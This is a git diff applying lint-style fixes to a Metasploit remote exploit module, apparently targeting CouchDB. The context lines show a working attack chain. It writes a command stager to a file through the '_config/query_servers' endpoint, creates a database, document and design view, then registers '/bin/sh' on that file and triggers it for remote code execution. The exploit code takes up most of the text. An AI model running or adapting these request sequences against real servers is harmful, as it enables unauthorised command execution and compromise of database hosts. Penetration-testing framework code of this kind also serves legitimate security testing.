Selectively add RuboCop fixes
parent
ccc3267166
commit
167745c124
|
@ -137,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'method' => 'GET',
|
||||
'authorization' => @auth
|
||||
)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
|
||||
vprint_bad("#{peer} - Connection failed")
|
||||
return false
|
||||
end
|
||||
|
@ -190,7 +190,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
payload2
|
||||
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
|
||||
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -205,27 +204,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
|
||||
@file_to_clean = rand_file
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth,
|
||||
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth,
|
||||
'data' => %({"_id": "#{rand_hex}"})
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
|
||||
'method' => 'POST',
|
||||
'authorization' => @auth,
|
||||
|
@ -233,14 +232,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'data' => %({"language":"#{rand_cmd1}","map":""})
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth,
|
||||
'data' => %("/bin/sh #{rand_file}")
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
|
||||
'method' => 'POST',
|
||||
'authorization' => @auth,
|
||||
|
@ -268,27 +267,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
node = res.get_json_document['all_nodes'][0]
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth,
|
||||
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth,
|
||||
'data' => %({"_id": "#{rand_hex}"})
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth,
|
||||
|
@ -296,14 +295,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth,
|
||||
'data' => %("/bin/sh #{rand_file}")
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
|
||||
'method' => 'PUT',
|
||||
'authorization' => @auth,
|
||||
|
|
Loading…
Reference in New Issue